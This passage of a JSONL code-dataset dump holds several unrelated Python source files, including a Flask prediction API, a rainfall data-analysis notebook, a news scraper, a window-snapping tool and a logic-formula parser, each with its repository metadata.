0)\r\n if layer_activation_guide[i]:\r\n output = tf_activation_f(tf.matmul(Thetas[i], output))\r\n else:\r\n output = tf.matmul(Thetas[i], output)\r\n\r\n output = tf.transpose(output)\r\n\r\n # calculate un-regularized error using passed error function\r\n tf_unreg_error = (1 / m) * tf.reduce_sum(tf_error_f(tf_logits=output, tf_labels=tf_y))\r\n\r\n # calculate regularized error (skip for un-regularized model)\r\n tf_reg_error = 0\r\n if reg_param != 0:\r\n for this_theta in Thetas:\r\n tf_reg_error += tf.reduce_sum(tf.square(this_theta))\r\n tf_reg_error *= (reg_param / (2 * m))\r\n\r\n tf_error = tf_unreg_error + tf_reg_error\r\n tf_train_op = optimizer.minimize(tf_error)\r\n\r\n with tf.Session() as sess:\r\n sess.run(tf.global_variables_initializer())\r\n\r\n for epoch in range(num_epochs):\r\n epoch_loss = 0\r\n\r\n for this_batch in batch_tups:\r\n this_x, this_y = this_batch\r\n\r\n _, c = sess.run([tf_train_op, tf_error], feed_dict={tf_x: this_x, tf_y: this_y})\r\n\r\n epoch_loss += c\r\n\r\n if (epoch + 1) % show_epoch_each == 0:\r\n print(\"Completed\", str(epoch + 1), \"out of\", str(num_epochs), \"epochs. Error:\", epoch_loss)\r\n\r\n return sess.run(Thetas)\r\n","repo_name":"cmaxcy/machine-learning","sub_path":"MLTools.py","file_name":"MLTools.py","file_ext":"py","file_size_in_byte":13935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74471154483","text":"from flask import Flask,request\nimport pandas as pd\nimport numpy as np\nimport pickle\nfrom flasgger import Swagger\n\n\"\"\"\nSwagger API on : http://127.0.0.1:5000/apidocs/\n\"\"\"\n\npickle_in = open(\"classifier.pkl\",\"rb\") \nclassifier = pickle.load(pickle_in)\n\n\napp = Flask(__name__)\nSwagger(app)\n\n@app.route(\"/\")\ndef welcome():\n return \"

    Swagger API on : http://127.0.0.1:5000/apidocs/

    \"\n\n@app.route('/predict',methods=[\"GET\"])\ndef predict():\n \"\"\"Predict Individual Examples\n Enter the values ain the fields below and execute.\n ---\n parameters:\n - name: variance\n in: query\n type: number\n required: true\n - name: skewness\n in: query\n type: number\n required: true\n - name: curtosis\n in: query\n type: number\n required: true\n - name: entropy\n in: query\n type: number\n required: true\n responses:\n 200:\n description: Output\n \"\"\"\n variance = request.args.get(\"variance\")\n skewness = request.args.get(\"skewness\")\n curtosis = request.args.get(\"curtosis\")\n entropy = request.args.get(\"entropy\")\n \n prediction = classifier.predict([[variance,skewness,curtosis,entropy]])\n \n \n return \"The prediction is : \"+str(prediction)\n\n\n@app.route('/predict_file',methods=[\"POST\"])\ndef predict_file():\n \"\"\"Predict Multiples Examples\n Upload a CSV file containing columns of variance, skewness, curtosis and entropy.\n ---\n parameters:\n - name: file\n in: formData\n type: file\n required: true\n responses:\n 200:\n description: Output Values\n \"\"\"\n file_ = request.files.get(\"file\")\n df = pd.read_csv(file_)\n prediction = classifier.predict(df)\n \n \n return \"The prediction for data inside file is : \"+str(list(prediction))\n\n\nif __name__ == \"__main__\":\n app.run()","repo_name":"digantgarude/Machine-Learning","sub_path":"Bank-Note-Authentication-Flask-Docker/flask_api_flasgger.py","file_name":"flask_api_flasgger.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2068135813","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport plotly.express as py\nimport plotly.offline\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# In[25]:\n\n\npath = \"C:\\\\Users\\\\PAVANI\\\\Downloads\\\\rainfall in india 1901-2015.csv\"\ndata = pd.read_csv(path)\n\n\n# In[26]:\n\n\ndata.info()\n\n\n# In[27]:\n\n\ndata.describe()\n\n\n# In[28]:\n\n\n# Getting to know which SUBDIVISION receives maximum rainfall in India annually\ndata[['SUBDIVISION', 'ANNUAL']].sort_values(by='ANNUAL', ascending = False).head(20)\n\n\n# In[29]:\n\n\nsns.distplot(data['ANNUAL'], hist =True)\n\n\n# # India\n\n# In[30]:\n\n\n# Annual rainfall in subdivisions of India\nplt.figure(figsize=(20,18))\nax = sns.boxplot(x=\"SUBDIVISION\", y=\"ANNUAL\", data=data, width=1, linewidth=2)\nax.set_xlabel('Subdivision',fontsize=30)\nax.set_ylabel('Annual Rainfall (in mm)',fontsize=30)\nplt.title('Annual Rainfall in Subdivisions of India',fontsize=40)\nax.tick_params(axis='x', labelsize=20, rotation=90)\nax.tick_params(axis='y', labelsize=20, rotation=0)\n\n\n# In[31]:\n\n\n# Average monthly rainfall in India\nax=data[['JAN', 'FEB', 'MAR', 'APR','MAY', 'JUN', 'AUG', 'SEP', 'OCT','NOV','DEC']].mean().plot.bar(width=0.5, linewidth=2, figsize=(16,10))\nplt.xlabel('Month',fontsize=30)\nplt.ylabel('Monthly Rainfall (in mm)', fontsize=30)\nplt.title('Monthly Rainfall in Subdivisions of India', fontsize=25)\nax.tick_params(labelsize=10)\nplt.grid()\n\n\n# In[32]:\n\n\n# Average monthly rainfall in India\nax = data[['Jan-Feb', 'Mar-May', 'Jun-Sep', 'Oct-Dec']].mean().plot.bar(width=0.5, linewidth=2, figsize=(16,10))\nplt.xlabel('Quarter',fontsize=15)\nplt.ylabel('Quarterly Rainfall (in mm)', fontsize=15)\nplt.title('Quarterly Rainfall in India', fontsize=20)\nax.tick_params(labelsize=15)\nplt.grid()\n\n\n# In[33]:\n\n\n# Visualizing annual rainfall over the years(1901-2015) in India\nax = data.groupby(\"YEAR\").mean()['ANNUAL'].plot(ylim=(1000,2000),color='r',marker='o',linestyle='-',linewidth=2,figsize=(12,10));\nplt.xlabel('Year',fontsize=20)\nplt.ylabel('Annual Rainfall (in mm)',fontsize=20)\nplt.title('Annual Rainfall from Year 1901 to 2015 in India',fontsize=25)\nax.tick_params(labelsize=15)\nplt.grid()\n\n\n# # Rajasthan\n\n# In[34]:\n\n\n# Getting rainfall data for Rajasthan\nRajasthan = data.loc[((data['SUBDIVISION'] == 'WEST RAJASTHAN') | (data['SUBDIVISION'] == 'EAST RAJASTHAN'))]\nRajasthan.head()\n\n\n# In[35]:\n\n\n# Average monthly rainfall in Rajasthan\nax = Rajasthan[['JAN', 'FEB', 'MAR', 'APR','MAY', 'JUN', 'AUG', 'SEP', 'OCT','NOV','DEC']].mean().plot.bar(width=0.5, linewidth=2, figsize=(16,10))\nplt.xlabel('Month',fontsize=30)\nplt.ylabel('Monthly Rainfall (in mm)', fontsize=30)\nplt.title('Monthly Rainfall in Rajasthan', fontsize=25)\nax.tick_params(labelsize=10)\nplt.grid()\n\n\n# In[36]:\n\n\n# Average monthly rainfall in Rajasthan\nax=Rajasthan[['Jan-Feb', 'Mar-May', 'Jun-Sep', 'Oct-Dec']].mean().plot.bar(width=0.5, linewidth=2, figsize=(16,10))\nplt.xlabel('Quarter',fontsize=15)\nplt.ylabel('Quarterly Rainfall (in mm)', fontsize=15)\nplt.title('Quarterly Rainfall in Rajasthan', fontsize=20)\nax.tick_params(labelsize=15)\nplt.grid()\n\n\n# In[37]:\n\n\n# Visualizing annual rainfall over the years(1901-2015) in Rajasthan\nax = Rajasthan.groupby(\"YEAR\").mean()['ANNUAL'].plot(ylim=(50,1500),color='r',marker='o',linestyle='-',linewidth=2,figsize=(12,10));\nplt.xlabel('Year',fontsize=20)\nplt.ylabel('Rajasthan Annual Rainfall (in mm)',fontsize=20)\nplt.title('Rajasthan Annual Rainfall from Year 1901 to 2015',fontsize=25)\nax.tick_params(labelsize=15)\nplt.grid()\n\n\n# In[38]:\n\n\nprint('Average annual rainfall received by Rajasthan = ',int(Rajasthan['ANNUAL'].mean()),'mm')\na = Rajasthan[Rajasthan['YEAR'] == 1917]\na\n\n\n# # Arunachal Pradesh\n\n# In[39]:\n\n\n# Getting rainfall data for Arunachal Pradesh\nArunachal = data.loc[(data['SUBDIVISION'] == 'ARUNACHAL PRADESH')]\nArunachal.head()\n\n\n# In[40]:\n\n\n# Average monthly rainfall in Arunachal\nax = Arunachal[['JAN', 'FEB', 'MAR', 'APR','MAY', 'JUN', 'AUG', 'SEP', 'OCT','NOV','DEC']].mean().plot.bar(width=0.5, linewidth=2, figsize=(16,10))\nplt.xlabel('Month',fontsize=30)\nplt.ylabel('Monthly Rainfall (in mm)', fontsize=30)\nplt.title('Monthly Rainfall in Arunachal', fontsize=25)\nax.tick_params(labelsize=10)\nplt.grid()\n\n\n# In[41]:\n\n\n# Average monthly rainfall in Arunachal Pradesh\nax = Arunachal[['Jan-Feb', 'Mar-May', 'Jun-Sep', 'Oct-Dec']].mean().plot.bar(width=0.5, linewidth=2, figsize=(16,10))\nplt.xlabel('Quarter',fontsize=15)\nplt.ylabel('Quarterly Rainfall (in mm)', fontsize=15)\nplt.title('Quarterly Rainfall in Arunachal', fontsize=20)\nax.tick_params(labelsize=15)\nplt.grid()\n\n\n# In[42]:\n\n\n# Visualizing annual rainfall over the years(1901-2015) in Arunachal Pradesh\nax = Arunachal.groupby(\"YEAR\").mean()['ANNUAL'].plot(ylim=(1500,6500),color='r',marker='o',linestyle='-',linewidth=2,figsize=(12,10));\nplt.xlabel('Year',fontsize=20)\nplt.ylabel('Arunachal Annual Rainfall (in mm)',fontsize=20)\nplt.title('Arunachal Annual Rainfall from Year 1901 to 2015',fontsize=25)\nax.tick_params(labelsize=15)\nplt.grid()\n\n\n# In[43]:\n\n\nprint('Average annual rainfall received by Arunachal Pradesh = ',int(Arunachal['ANNUAL'].mean()),'mm')\na = Arunachal[Arunachal['YEAR'] == 1948]\na\n\n\n# In[44]:\n\n\n# Subdivisions receiving maximum and minimum rainfall\nprint(data.groupby('SUBDIVISION').mean()['ANNUAL'].sort_values(ascending=False).head(10))\nprint('\\n')\nprint(\"--------------------------------------------\")\nprint(data.groupby('SUBDIVISION').mean()['ANNUAL'].sort_values(ascending=False).tail(10))\n\n\n# In[45]:\n\n\n# Years which recorded maximum and minimum rainfall\nprint(data.groupby('YEAR').mean()['ANNUAL'].sort_values(ascending=False).head(10))\nprint('\\n')\nprint(\"--------------------------------------------\")\nprint(data.groupby('YEAR').mean()['ANNUAL'].sort_values(ascending=False).tail(10))\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"raghava07j/rainfall-analysis","sub_path":"rainfall analaysis -40110474.py","file_name":"rainfall analaysis -40110474.py","file_ext":"py","file_size_in_byte":5853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20701324581","text":"import os\nimport hydrodataset as hds\nimport pytest\nfrom hydroutils.hydro_file import get_lastest_file_in_a_dir\nfrom hydroutils.hydro_plot import plot_ts\nfrom torchhydro.configs.config import cmd, default_config_file, update_cfg\nfrom torchhydro.datasets.data_dict import data_sources_dict\nfrom torchhydro.trainers.deep_hydro import DeepHydro\nfrom torchhydro.trainers.trainer import set_random_seed\n\n\n@pytest.fixture()\ndef config_data():\n project_name = \"test_camels/exp1\"\n weight_dir = os.path.join(\n os.getcwd(),\n \"results\",\n \"test_camels\",\n \"exp1\",\n )\n weight_path = get_lastest_file_in_a_dir(weight_dir)\n args = cmd(\n sub=project_name,\n download=0,\n source_path=os.path.join(hds.ROOT_DIR, \"camels\", \"camels_us\"),\n source_region=\"US\",\n ctx=[-1],\n model_name=\"CpuLSTM\",\n model_hyperparam={\n \"n_input_features\": 23,\n \"n_output_features\": 1,\n \"n_hidden_states\": 256,\n },\n gage_id=[\n \"01013500\",\n \"01022500\",\n \"01030500\",\n \"01031500\",\n \"01047000\",\n \"01052500\",\n \"01054200\",\n \"01055000\",\n \"01057000\",\n \"01170100\",\n ],\n batch_size=5,\n rho=20, # batch_size=100, rho=365,\n var_t=[\"dayl\", \"prcp\", \"srad\", \"tmax\", \"tmin\", \"vp\"],\n var_out=[\"streamflow\"],\n dataset=\"StreamflowDataset\",\n scaler=\"DapengScaler\",\n train_epoch=5,\n save_epoch=1,\n te=5,\n train_period=[\"2000-10-01\", \"2001-10-01\"],\n test_period=[\"2001-10-01\", \"2002-10-01\"],\n loss_func=\"RMSESum\",\n opt=\"Adadelta\",\n which_first_tensor=\"sequence\",\n weight_path=weight_path,\n continue_train=False,\n )\n config_data = default_config_file()\n update_cfg(config_data, args)\n return config_data\n\n\ndef test_evaluate_model(config_data):\n random_seed = config_data[\"training_cfgs\"][\"random_seed\"]\n set_random_seed(random_seed)\n data_cfgs = config_data[\"data_cfgs\"]\n data_source_name = data_cfgs[\"data_source_name\"]\n data_source = data_sources_dict[data_source_name](\n data_cfgs[\"data_path\"], data_cfgs[\"download\"]\n )\n model = DeepHydro(data_source, config_data)\n eval_log, preds_xr, obss_xr = model.model_evaluate()\n print(eval_log)\n plot_ts(\n [preds_xr[\"time\"].values, obss_xr[\"time\"].values],\n [\n preds_xr[\"streamflow\"].sel(basin=\"01013500\").values,\n obss_xr[\"streamflow\"].sel(basin=\"01013500\").values,\n ],\n leg_lst=[\"pred\", \"obs\"],\n fig_size=(6, 4),\n xlabel=\"Date\",\n ylabel=\"Streamflow\",\n )\n","repo_name":"OuyangWenyu/torchhydro","sub_path":"tests/test_evaluate_model.py","file_name":"test_evaluate_model.py","file_ext":"py","file_size_in_byte":2723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5580692163","text":"from typing import Dict\nfrom dict_component import DictComponent\nfrom numbers import Number\n\n\nclass NumericValueFinder(DictComponent):\n def handle(self, context: dict) -> dict:\n for k, v in list(context.items()):\n if not isinstance(v, Number):\n context.pop(k)\n return super().handle(context)\n\n\nclass ValueLimiter(DictComponent):\n def __init__(self, lower_bound: float, upper_bound: float) -> None:\n self.lower_bound = lower_bound\n self.upper_bound = upper_bound\n super().__init__()\n\n def handle(self, context: dict) -> dict:\n for k in list(context.keys()):\n v = context[k]\n if v < self.lower_bound or v >= self.upper_bound:\n context.pop(k)\n return super().handle(context)\n\n\nclass PowerRaiser(DictComponent):\n def __init__(self, exponent: int) -> None:\n self.exponent = exponent\n super().__init__()\n\n def handle(self, context: dict) -> dict:\n for k, v in list(context.items()):\n context[k] = v ** self.exponent\n return super().handle(context)\n\n\nif __name__ == \"__main__\":\n c = {\"a\": 2, \"b\": \"seven\", \"c\": 23, \"d\": 42, \"e\": 76, \"f\": 124}\n nvf = NumericValueFinder()\n vl1 = ValueLimiter(lower_bound=1, upper_bound=100)\n pr = PowerRaiser(exponent=2)\n vl2 = ValueLimiter(lower_bound=1, upper_bound=1000)\n nvf.set_next(vl1)\n vl1.set_next(pr)\n pr.set_next(vl2)\n result = nvf.handle(c)\n print(f\"result = {result}\")\n","repo_name":"sdqri/gof","sub_path":"behavioural_patterns/chain_of_responsibility/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"5134429083","text":"import numpy as np\nimport pandas as pd\nimport os\nfrom requests import get\nfrom bs4 import BeautifulSoup as soupify\n\nurl1='https://codeup.com/featured/financing-career-transition/'\nurl2='https://codeup.com/codeup-news/dei-report/'\nurl3='https://codeup.com/codeup-news/diversity-and-inclusion-award/'\nurl4='https://codeup.com/tips-for-prospective-students/tips-for-women/'\nurl5='https://codeup.com/cloud-administration/cloud-computing-and-aws/'\n\narticles=[url1,url2,url3,url4,url5]\n\n\nheaders = {'User-Agent': 'hackers anon'}\n\ndef get_blog_articles(url):\n \"\"\"takes in url from codeup blog website and returns a dictionary with the \n title as the key and the content as the value \"\"\"\n soup=soupify(get(url,headers=headers).content, 'html.parser')\n \n header=soup.h1.text.strip()\n body=soup.find('div',{'class':'entry-content'}).text.strip()\n return {'title': header,'content': body}\n\n\nurl = 'https://inshorts.com/en/read'\n\n\ndef get_cats(base_url):\n soup = soupify(get(base_url).content)\n return [cat.text.lower() for cat in soup.find_all('li')[1:]]\n\n\ndef get_news_articles(base_url):\n \"\"\"scrapes inshorts website and returns earch business, sports,\n technology, and entertainment news article and returns them in a list of dictionaries\"\"\"\n cats = get_cats(base_url)\n all_articles = []\n for cat in cats:\n cat_url = base_url + '/' + cat\n print(get(cat_url))\n cat_soup = soupify(get(cat_url).content)\n cat_titles = [\n title.text for title in cat_soup.find_all('span', itemprop='headline')\n ]\n cat_bodies = [\n body.text for body in cat_soup.find_all('div', itemprop='articleBody')]\n cat_articles = [{'title': title,\n 'category': cat,\n 'body': body} for title, body in zip(\n cat_titles, cat_bodies)]\n print('cat articles length: ',len(cat_articles))\n all_articles.extend(cat_articles)\n print('length of all_articles: ', len(all_articles))\n return all_articles","repo_name":"joe-bennett/natural-language-processing-exercises","sub_path":"acquire.py","file_name":"acquire.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7675123318","text":"##TODO \tsnap windows earlier, some pixel before mouse hits dead end\n##\tfix issue in __window_header_clicked()\n##\tupdate handling of input commands\n##\twrite some documentation on input arguments\n##\n\nfrom pymouse import PyMouse,PyMouseEvent\nfrom wmctrl import Window, BaseWindow\nimport sys\n\nLEFT_MOUSE_BUTTON = 1 #PyMouse mapping for left mouse button\nCOUNTER = 50 #cleaning the dict or window sizes after every x clicks, this has to happen because no events for closing windows are caught, therefor the dict (original_window_sizes) potentially grows forever\nglobal HEADER_CLICKED #meh hacks\n\nclass MouseEventHandler(PyMouseEvent):\n\tdef __init__(self,max_width,max_height,wm_width=2,wm_height=44,clickable_offset=23, margin=10):\n\t\tPyMouseEvent.__init__(self)\n\t\t\n\t\t#get these programmatically\n\t\tself.WM_WIDTH = int(wm_width) ##WM side of window width in pixels\n\t\tself.WM_HEIGHT = int(wm_height) #WM top of window height in pixels\n\t\tself.CLICKABLE_OFFSET = int(clickable_offset) #number of pixels on the WM window that are not moving the window when clicked\n\t\tself.MARGIN = int(margin) #dictates when snapping occures\n\t\t#self.WM_BOTTOM_HEIGHT = 4 #number of pixels at the bottom of each window\n\t\t#self.TASKBAR_HEIGHT = 30 #height of the taskbar in pixels, atm only taskbars at the bottom are considered \n\t\t###########################################\n\n\t\tself.MAX_WINDOW_WIDTH = int(max_width)\n\t\tself.MAX_WINDOW_HEIGHT = int(max_height)\n\t\t\n\n\t\tself.mouse = PyMouse()\n\t\tscreen_size = self.mouse.screen_size()\n\t\tself.screen_width = screen_size[0]\n\t\tself.screen_height = screen_size[1]\n\t\tself.counter = COUNTER \n\t\tself.original_window_sizes = {} #info used to restore windows when 'unsnapping' them\n\n\tdef click(self, x, y, button, press):\n\t\tif self.counter == 0:\n\t\t\tself.counter = COUNTER\n\t\t\tself.__remove_closed_windows()\n\t\tif button is LEFT_MOUSE_BUTTON:\n\t\t\tglobal HEADER_CLICKED\n\t\t\tif press:\n\t\t\t\tHEADER_CLICKED = self.__window_header_clicked()\n\t\t\t\tself.counter -= 1\n\t\t\telif not press:\n\t\t\t\tif HEADER_CLICKED:\n\t\t\t\t\twindow = self.__get_active_window()\n\t\t\t\t\tif window is None:\n\t\t\t\t\t\treturn\n\t\t\t\t\trestore = self.__window_in_list(window)\n\t\t\t\t\tself.__handle_event(window,x,y,restore)\n\t\n\tdef __handle_event(self,window,x,y,restore):\n\t\tif x < self.MARGIN:\n\t\t\tself.__fill_left_half(window)\n\t\telif x > self.screen_width-1-self.MARGIN:\n\t\t\tself.__fill_right_half(window)\n\t\telif y < self.MARGIN:\n\t\t\tself.__maximize(window)\n\t\telif restore:\n\t\t\tself.__restore_size(window)\n\n\tdef __resize_window(self,window,x_position,y_position,width,height,use_offset=False):\n\t\tif use_offset:\n\t\t\twindow.resize_and_move(x_position-self.WM_WIDTH,y_position-self.WM_HEIGHT,width,height)\n\t\telse:\t\n\t\t\twindow.resize_and_move(x_position,y_position,width,height)\n\n\tdef __maximize(self,window):\n\t\tif not self.__window_in_list(window):\n\t\t\tself.__update_window(window)\n\t\tself.__resize_window(window,0,0,self.MAX_WINDOW_WIDTH,self.MAX_WINDOW_HEIGHT)\n\n\tdef __fill_right_half(self,window):\n\t\tif not self.__window_in_list(window):\n\t\t\tself.__update_window(window)\n\t\tself.__resize_window(window,self.MAX_WINDOW_WIDTH/2,0,self.MAX_WINDOW_WIDTH/2,self.MAX_WINDOW_HEIGHT)\n\n\tdef __fill_left_half(self,window):\n\t\tif not self.__window_in_list(window):\n\t\t\tself.__update_window(window)\n\t\tself.__resize_window(window,0,0,self.MAX_WINDOW_WIDTH/2,self.MAX_WINDOW_HEIGHT)\n\n\tdef __restore_size(self,window):\n\t\tif window.id in self.original_window_sizes:\n\t\t\toriginal = self.original_window_sizes[window.id]\n\t\t\tself.__remove_window(window.id)\n\t\t\tself.__resize_window(window,window.x,window.y,original[0],original[1],True)\n\n\tdef __window_header_clicked(self):\n\t\t#still a bug, sometimes false is returned even if the header was clicked \n\t\t#cause seems to be incorrect(too small) Y values for mouse position, timing issue?\n\t\t#happens less often when position() before __get_active_window()\n\n\t\tposition = self.mouse.position()\n\t\twindow = self.__get_active_window()\n\t\tif window is None:\n\t\t\treturn False\n\n\t\tx = position[0]\n\t\ty = position[1]\n\t\tleft_top_x = window.x - self.WM_WIDTH\n\t\tright_bottom_x = window.x + window.w\n\t\tleft_top_y = window.y - self.WM_HEIGHT\n\t\tright_bottom_y = window.y - self.CLICKABLE_OFFSET\n\t\tinside = (left_top_x <= x <= right_bottom_x and left_top_y <= y <= right_bottom_y) # simple point inside rectangle check\n\t\t#if not inside:\n\t\t#\tprint(\"mouseX\",x, \"mouseY\", y)\n\t\t#\tprint(\"topleftX\",left_top_x, \"topleftY\", left_top_y)\n\t\t#\tprint(\"bottomrightX\",right_bottom_x, \"bottomrightY\", right_bottom_y)\n\t\treturn inside\n\n\t#called when a (unsnapped!) window is resized\n\tdef __update_window(self,window):\n\t\tself.original_window_sizes.update({window.id:(window.w,window.h)})\n\n\t#removes a window from the original sizes dict\n\tdef __remove_window(self,key):\n\t\tself.original_window_sizes.pop(key,None)\n\t\n\t#removes all windows that have been closed, necessary since we do not intercept any structure events\n\tdef __remove_closed_windows(self):\n\t\ttry:\n\t\t\twindows = Window.list()\n\t\t\topen_windows = []\n\t\t\tfor window in windows:\n\t\t\t\topen_windows.append(window[0])\n\t\t\tfor key in self.original_window_sizes.keys():\n\t\t\t\tif key not in open_windows:\n\t\t\t\t\tself.__remove_window(key)\n\t\texcept ValueError:\n\t\t\t#catching Error in the wmctrl function list(), still holding already closed windows\n\t\t\tpass\n\t\t\t\n\tdef __window_in_list(self,window):\n\t\treturn window.id in self.original_window_sizes.keys()\n\t\t\n\t\n\t#returns None if Window.get_active() fails, this \n\t#happens sometimes when windows are closed and the list inside wmctrl.Window \n\t#was not yet updated when we called get_active()\n\tdef __get_active_window(self): \n\t\ttry:\n\t\t\twindow = Window.get_active()\n\t\t\treturn window\n\t\texcept ValueError:\n\t\t\t#catching Error in the wmctrl function list(), still holding already closed windows\n\t\t\treturn None\n\n\n\ndef run_analysis():\n\ttry:\n\t\tprint(\"run in maximized window to get values for screen width and height\")\n\t\twindow = Window.get_active()\n\t\treturn window.w, window.h\n\texcept ValueError:\n\t\t#catching Error in the wmctrl function list(), still holding already closed windows\n\t\treturn None\n\nif __name__ == \"__main__\":\n\targs = sys.argv\n\tif len(args) == 1:\n\t\tw,h = run_analysis()\n\t\tprint(\"width and height are:\", w,h)\n\t\tprint(\"use these values to start snap.py\")\n\telif len(args) == 3:\t\n\t\teventhandler = MouseEventHandler(args[1],args[2])\n\t\teventhandler.run()\n\telif len(args) == 7:\t\n\t\teventhandler = MouseEventHandler(args[1],args[2],args[3],args[4],args[5],args[6])\n\t\teventhandler.run()\n\telse:\n\t\tprint(\"Usage: python snap.py width height [wm_width] [wm_height] [clickable_offset] [margin]\")\n\t\tprint(\"Example: python snap.py 1920 924 2 44 23 10\")\n\n","repo_name":"sme3863/snapPy","sub_path":"snap.py","file_name":"snap.py","file_ext":"py","file_size_in_byte":6551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13197362449","text":"# -*- coding: utf-8 -*-\n\nimport re\nfrom symbol import Atom, Not, And, Or, Imply, Implication, Equiv\nfrom dlogic import DefaultRule\n\n\nclass FormulaSyntaxError(Exception):\n pass\n\n\nSYMBOLS = {\n 'latex': {},\n 'str': {},\n }\n\n\ndef register(connector):\n def _register(class_):\n SYMBOLS['str'][connector.str_symbol] = class_\n SYMBOLS['latex'][connector.latex_symbol] = class_\n return class_\n return _register\n\n\ndef register_symbol(symbol):\n def _register(class_):\n for symbol_map in SYMBOLS.values():\n symbol_map[symbol] = class_\n return class_\n return _register\n\n\nclass Symbol(object):\n lbp = 0\n\n def as_prefix(self, parser):\n raise NotImplementedError\n\n def as_infix(self, parser, left):\n raise NotImplementedError\n\n\nclass AtomWrapper(Symbol):\n def __init__(self, name):\n self.name = name\n\n def as_prefix(self, parser):\n return Atom(self.name)\n\n\ndef make_symbol(name, bp=0):\n @register_symbol(name)\n class s(Symbol):\n lbp = bp\n s.__name__ = name\n return s\n\n\ndef make_connector(connector, bp=0):\n @register(connector)\n class s(Symbol):\n lbp = bp\n s.__name__ = \"Op\" + connector.__name__\n return s\n\n\ndef infix(connector, bp):\n def as_infix(self, parser, left):\n return connector(left, parser.expression(bp))\n make_connector(connector, bp).as_infix = as_infix\n\n\ndef infix_r(connector, bp):\n def as_infix(self, parser, left):\n return connector(left, parser.expression(bp - 1))\n make_connector(connector, bp).as_infix = as_infix\n\n\ndef prefix(connector, bp):\n def as_prefix(self, parser):\n return connector(parser.expression(bp))\n make_connector(connector, 0).as_prefix = as_prefix\n\n\n@register_symbol('(')\nclass LeftParen(Symbol):\n def as_prefix(self, parser):\n expr = parser.expression()\n parser.advance(')')\n return expr\n\n\n@register_symbol(':')\nclass Colon(Symbol):\n lbp = 10\n\n def as_infix(self, parser, pre):\n jus = parser.expression()\n parser.advance('/')\n cons = parser.expression()\n return DefaultRule(pre, jus, cons)\n\n\nmake_symbol(')')\nmake_symbol('End')\nmake_symbol('/')\n# make_symbol(',')\n\n\nOP_LIST = [\n (Not, 50, prefix),\n (And, 30, infix),\n (Or, 30, infix),\n (Imply, 20, infix_r),\n (Implication, 20, infix_r),\n (Equiv, 20, infix),\n ]\n\nfor connector, bp, method in OP_LIST:\n method(connector, bp)\n\n\nclass Parser(object):\n cur_token = None\n cur_pos = 0\n string = ''\n regex_atom = re.compile(r'\\\\?[a-zA-Z]+(_[0-9])?')\n error_length = 7\n\n def parse(self, string, format='str'):\n self.symbol_map = SYMBOLS.get(format, None)\n if self.symbol_map is None:\n raise NotImplementedError\n self.string = string\n self.cur_token = None\n self.cur_pos = 0\n self.next()\n if self.eat('End'):\n raise FormulaSyntaxError('Empty String')\n expr = self.expression(0)\n self.advance('End')\n return expr\n\n def expression(self, rbp=0):\n t = self.cur_token\n if self.eat('End'):\n raise FormulaSyntaxError('Ends too early')\n self.next()\n left = t.as_prefix(self)\n while rbp < self.cur_token.lbp:\n t = self.cur_token\n self.next()\n left = t.as_infix(self, left)\n return left\n\n def advance(self, name):\n if not self.eat(name):\n self.error('Expect symbol: {}'.format(name))\n\n def eat(self, name):\n if self.cur_token.__class__ != self.symbol_map[name]:\n return False\n self.next()\n return True\n\n def next(self):\n self.skip_space()\n if self.cur_pos >= len(self.string):\n self.cur_token = self.symbol_map['End']()\n return self.cur_token\n for sym in self.symbol_map:\n if self.string.startswith(sym, self.cur_pos):\n next_pos = self.cur_pos + len(sym)\n if sym[-1].isalnum() \\\n and self.string[next_pos:next_pos + 1].isalnum():\n continue\n self.cur_pos = next_pos\n self.cur_token = self.symbol_map[sym]()\n # print(self.cur_token.__class__.__name__, self.cur_pos)\n return self.cur_token\n atom = self.regex_atom.match(self.string, self.cur_pos)\n if atom:\n start, end = atom.span()\n self.cur_pos = end\n self.cur_token = AtomWrapper(self.string[start:end])\n return self.cur_token\n self.error('Unknown symbol!')\n\n def skip_space(self):\n while self.string[self.cur_pos:self.cur_pos + 1].isspace():\n self.cur_pos += 1\n\n def error(self, msg):\n raise FormulaSyntaxError('Syntax Error at {} [...{}...]: {}'.format(\n self.cur_pos,\n self.string[self.cur_pos:self.cur_pos + self.error_length],\n msg,\n ))\n\n\nparse = Parser().parse\n\n\nif __name__ == '__main__':\n parser = Parser()\n\n def try_parse(string, format='str'):\n try:\n ret = parser.parse(string, format)\n except FormulaSyntaxError as e:\n print(e)\n ret = None\n return ret\n\n print(try_parse('( d | e | (f&e) -> a )'))\n print(try_parse(' a -> b ->c & ( d | e ->a)'))\n print(try_parse(r'\\alpha\\to\\beta \\to\\gamma \\land(d\\lor e\\to a)', 'latex'))\n","repo_name":"skydark/spdlr","sub_path":"lparser.py","file_name":"lparser.py","file_ext":"py","file_size_in_byte":5507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7171665682","text":"from os import environ\nimport dotenv\n\ndotenv.read_dotenv()\nTOLOKA_API = environ.get('TOLOKA_API')\nSANDBOX_TOLOKA_API = environ.get('SANDBOX_TOLOKA_API')\n\nsome_defaults = dict(\n yes_nko=0.30,\n no_nko=0,\n yes_ego=0.10,\n no_ego=.20,\n toloka_project_id=49048,\n toloka_skill_id=25005,\n)\nSESSION_CONFIGS = [\n\n dict(\n name='endline',\n display_name=\"endline\",\n num_demo_participants=1,\n app_sequence=['endline']\n ),\n dict(\n name='singledonat',\n display_name=\"singledonat\",\n num_demo_participants=1,\n app_sequence=[\n 'singledonat',\n 'endline'\n ],\n **some_defaults\n 